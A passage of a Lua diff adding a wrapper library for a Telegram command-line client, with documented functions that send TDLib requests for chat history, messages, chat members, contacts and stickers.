dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function 